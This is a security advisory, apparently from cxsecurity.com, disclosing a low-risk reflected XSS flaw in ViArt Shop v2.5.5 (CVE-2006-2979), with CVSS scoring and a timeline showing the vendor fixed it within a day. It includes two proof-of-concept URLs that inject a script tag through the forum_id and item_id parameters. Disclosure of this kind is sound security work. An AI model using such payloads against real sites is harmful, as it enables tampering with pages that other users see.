ViArt Shop v2.5.5 - XSS Vulnerability

2006-06-14 / 2006-06-15
Credit: John Cobb (johnc nobytes com)
Risk: Low
Local: No
Remote: Yes
CVE: CVE-2006-2979
CWE: CWE-79


CVSS Base Score: 2.6/10
Impact Subscore: 2.9/10
Exploitability Subscore: 4.9/10
Exploit range: Remote
Attack complexity: High
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

ViArt Shop v2.5.5 Free (and possibly Light, Standard, and Enterprise) Authors Site: http://www.codetosell.com/ +-[Examples:]--------------------------------------------------+ XSS: /forum.php?forum_id="><script>alert('XSS');</script>&category_id=1 /reviews.php?category_id=0&item_id=4&rnd=1149618267&action=1&item_id=">< scri pt>alert('XSS');</script>&category_id=0&recommended=1&rating=0&summary=1 &com ments=1&user_name=1 +-[Notes:]-----------------------------------------------------+ Vulnerabilities found on: 6 June 2006 Author(s) Informed on: 7 June 2006 Author(s) Response: 7 June 2006 Author(s) Fix: 7 June 2006 Authors Fix: http://www.codetosell.com/downloads/xss_fix.zip JohnC (at) NoBytes (dot) com [email concealed] http://www.NoBytes.com


See this note in RAW Version
Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}
Copyright 2024, cxsecurity.com

 

Back to Top